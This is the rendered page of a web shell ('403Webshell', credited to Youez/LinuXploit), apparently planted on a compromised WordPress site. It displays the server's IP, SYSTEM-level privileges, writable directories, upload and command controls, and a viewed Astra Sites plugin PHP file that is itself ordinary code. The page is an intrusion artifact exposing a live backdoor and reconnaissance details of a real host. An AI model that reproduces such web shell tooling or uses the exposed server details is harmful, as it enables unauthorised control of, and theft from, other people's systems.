403Webshell
Server IP : 123.56.80.60  /  Your IP : 216.73.216.78
Web Server : Apache/2.4.54 (Win32) OpenSSL/1.1.1s PHP/7.4.33 mod_fcgid/2.3.10-dev
System : Windows NT iZhx3sob14hnz7Z 10.0 build 14393 (Windows Server 2016) i586
User : SYSTEM ( 0)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/site/20241224/spunner/wp-content/plugins/astra-sites/inc/lib/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : C:/site/20241224/spunner/wp-content/plugins/astra-sites/inc/lib/class-astra-sites-zip-ai.php
<?php
/**
 * Init
 *
 * @since 4.0.4
 * @package ZIP AI library
 */

if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

if ( ! class_exists( 'Astra_Sites_Zip_AI' ) ) :

	/**
	 * Admin
	 */
	class Astra_Sites_Zip_AI {

	/**
	 * Instance
	 *
	 * @since 4.0.4
	 * @access private
	 * @var object Class object.
	 */
    private static $instance = null;

    /**
     * Initiator
     *
     * @since 4.0.4
	 * @return mixed 
     */
    public static function get_instance() {
        if ( null === self::$instance ) {
            self::$instance = new self();
        }
        return self::$instance;
    }

	/**
	 * Constructor.
	 *
	 * @since 4.0.4
	 */
	private function __construct() {
		$this->version_check();
		add_action( 'plugins_loaded', array( $this, 'load' ), 15 );
	}

	/**
	 * Checks for latest version of zip-ai library available in environment.
	 *
	 * @since 4.0.4
	 *
	 * @return void
	 */
	public function version_check() {

		$file = realpath( dirname( __FILE__ ) . '/zip-ai/version.json' );

		// Is file exist?
		if ( is_string( $file ) &&is_file( $file ) ) {
			// @codingStandardsIgnoreStart
			$file_data = json_decode( (string)file_get_contents( $file ), true );
			// @codingStandardsIgnoreEnd
			global $zip_ai_version, $zip_ai_path;
			$path    = realpath( dirname( __FILE__ ) . '/zip-ai/zip-ai.php' );
			$version = isset( $file_data['zip-ai'] ) ? $file_data['zip-ai'] : 0;

			if ( null === $zip_ai_version ) {
				$zip_ai_version = '1.0.0';
			}

			// Compare versions.
			if ( version_compare( $version, $zip_ai_version, '>' ) ) {
				$zip_ai_version = $version;
				$zip_ai_path    = $path;
			}
		}
	}

	/**
	 * Load latest zip-ai library
	 *
	 * @since 4.0.4
	 *
	 * @return void
	 */
	public function load() {
		global $zip_ai_path;
		if ( ! is_null( $zip_ai_path ) && is_file( (string)realpath( $zip_ai_path ) ) ) {
			include_once realpath( $zip_ai_path );
		}
	}
}

/**
 * Kicking this off by calling 'get_instance()' method
 */
Astra_Sites_Zip_AI::get_instance();

endif;

Youez - 2016 - github.com/yon3zu
LinuXploit